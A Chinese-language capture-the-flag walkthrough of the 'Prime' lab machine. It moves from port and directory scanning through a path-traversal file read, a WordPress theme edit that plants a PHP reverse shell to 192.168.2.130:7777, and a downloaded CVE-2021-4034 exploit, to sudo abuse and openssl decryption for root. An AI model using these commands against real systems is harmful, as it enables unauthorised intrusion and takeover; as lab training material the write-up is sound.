002-Prime:信息收集+内核提权/解密
文章目录
注意:对信息的收集贯穿这个靶场
1.nmap端口扫描
- 开放22和80端口,22开启的是ssh服务优先级低,访问80端口只见到了一张图片
2.nmap内置漏洞脚本扫描
- 发现存在wordpress cms系统
- 扫出的dos攻击对于我们来说没什么用
3.wpscan扫描
- 扫描发现wordpress版本5.2.2
- 扫描发现wordpress存在一个账号victor
- 扫描发现目录http://192.168.2.133/wordpress/wp-content/themes/twentynineteen/(该目录存放主题php文件在后面有大用)
4.dirb目录扫描
- 可知网站由wordpress搭建
访问相关文件,在dev文件中,发现作者提示
- 作者提示我们更努力的进行目录扫描
- dirb默认情况下对文件扫描少,我们可通过+X参数增加对相应后缀名文件的扫描,一般信息会存储在.txt文件中.因为网站是wordpress搭建所以使用php语言,我们增加对.php后缀文件扫描
进一步扫描.txt .php后缀文件,命令: dirb http://192.168.2.133 -X .txt,.php
访问三个文件,在secret.txt发现提示信息
- 提示要求我们对.php文件的get参数进行模糊测试,并给我们指定了工具
- 当我们找到相应的参数后要求我们通过其查看location.txt文件内容获得下一步的提示
5.通过wfuzz对get参数进行模糊测试
指令:
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.2.133/index.php?FUZZ=pass
-c表示输出的结果带有颜色,-w指定字典, FUZZ表示要进行fuzz测试的参数位置,-hh表示对结果进行筛选,过滤chars为136Ch的(因为太多了,肯定不是正确参数)
- 找到了正确的参数fiel
访问index.php?file=location.txt
- 提示我们对另外一个php文件image.php用参数secrettier360进行测试
- 按照指示我们访问image.php以他提示的参数,发现没什么信息,根据file参数读取文件信息,我们怀疑secrettier360也存在文件读取漏洞,所以我们尝试读取/etc/passwd
尝试读取/etc/passwd
指令:?secrettier360=…/…/…/…/…/etc/passwd
- 成功读取
- 发现存在saket,victor两个普通用户,在saket配置信息哪里作者给予我们提示要我们读取/home/saket目录下的password.txt文件
读取password.txt文件
- 根据文件名猜测follow_the_ippsec应该是某一个用户的密码
- 目前已知用户:
- linux用户:root,saket,victor
- wordpress用户:victor
- 已知连接手段:
- 通过22端口开放的ssh服务连接
- 登录wordpress登录后台
经过验证密码follow_the_ippsec可以登录worpress后台(url:http://192.168.2.133/wordpress/wp-login.php?loggedout=true)
6.wordpress后台反弹shell
在后台发现theme editors里存在一个可由我们自由编辑的php文件secret.php写下反弹shell的语句保存
反弹shell指令:<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.130/7777 0>&1'"); ?>
根据wpscan探测到的目录,secret.php应该存在于http://192.168.2.133/wordpress/wp-content/themes/twentynineteen/目录下,我们设置kail监听7777端口,访问http://192.168.2.133/wordpress/wp-content/themes/twentynineteen/secret.php,即可获得webshell
7.初级shell信息收集
-
内核漏洞扫描:
上传内核漏洞扫描脚本,并运行
- 由于该靶机是2020年前的靶机,版本较老,内核提权概率很大
-
敏感文件寻找:
a.在/var/www/html/wp-config.php文件内找到数据库wordpress用户密码yourpasswordhere
b.通过指令:find / -name *backup* 2>dev/null,寻找可能存在的密码备份文件
- 找到一个back_pass的文件,其中存在作者的提示,作者提示enc文件的密码是backup_password
提权方式1:
8.内核漏洞提权(cve-2021-4034)
漏洞很多我们选择第一个下载到/tmp即可。下载后解压,通过make编译文件运行即可提权指令如下
wget https://codeload.github.com/berdav/CVE-2021-4034/zip/main
unzip main
cd CVE-2021-4034-main
make
./cve-2021-4034
9.得到flag
提权方式2:
8.信息泄露
通过指令:find / -name enc 2>dev/null 找到/home/saket/enc,
- 无法打开enc文件,通过ls -l 我们可知enc可以被普通用户执行
- 我们尝试./enc执行文件发现不行,通过sudo -l 指令我们查阅到www-data用户被允许无需密码使用sudo指令执行enc文件,所以我们通过sudo .enc执行enc文件输入之前获取的密码得到两个文件
- enc.txt是一段加密后端字符串
- key.txt则给予我们提示:把ippsec进行MD5加密,再通过把加密后密文作为密钥解密上面的那串字符串
9.解密
linux openssl介绍:openssl 命令是linux上加解密的重要指令
根据提示信息我们推断enc.txt应该是通过对称性加密算法进行加密
我们可以通过openssl进行解密
-
先对ippsec进行MD5加密
指令:echo ‘ippsec’ | openssl md5
-
查看非对称加密算法所需要的参数
指令:openssl enc -h
- openssl enc xxx表示我们选择使用对称性加密算法,xxx是具体的算法名称
- -d表示我们选择解密而不是加密(默认加密)
- -a表示解密时要先进行base64解码,因为enc.txt明显时base64编码过的
- -K后面输入我们密钥,因为val要求时hex我们要对ippsec的md5值进行hex编码
-
加密算法选择
查看指令:openssl enc -list
- 可供选择的算法很多,可以采取一个个试的方法,也可以选择将构造bash脚本用for循环实现遍历
-
逐行存储算法的pass文件构造
新建一个文件pass存储复制的算法列表
整理指令:awk ‘{gsub(" “,”\n");print}’ pass | sort | uniq
- gsub(" “,”\n"):替换所有空格为\n
- awk逐行读取pass中的文本
- sort对pass逐行排序
- uniq去除相邻重复行
-
bash脚本构造
bash脚本:
for i in $(cat pass); do openssl enc -d -in enc.txt -a -$i -K 3336366137346362336339353964653137643631646233303539316333396431 2>/dev/null;echo $i; done
- aes-256-ecb是在正确的加密方式
- 告诉了我们一个密码:tribute_to_ippsec
10.sudo提权
-
尝试使用密码:tribute_to_ippsec登录ssh,发现可以登录saket用户
-
登录后使用指令:sudo -l,查看当前用户可用sudo指令
- 发现当前用户可以使用sudo执行/home/victor/undefeated_victor
-
执行sudo
- 提示我们创建/tmp/challenge
- 考虑应该是通过root权限执行challenge文件提权
- 我们应该创建/tmp/challenge并写入/bin/bash进行提权
- 因为不能使用vim,我们通过echo ‘/bin/bash’ > /tmp/challenge 写入内容
-
再次执行sudo
- 提权成功
11.得到flag
创建/tmp/challenge
- 考虑应该是通过root权限执行challenge文件提权
- 我们应该创建/tmp/challenge并写入/bin/bash进行提权
- 因为不能使用vim,我们通过echo ‘/bin/bash’ > /tmp/challenge 写入内容
- 再次执行sudo
- 提权成功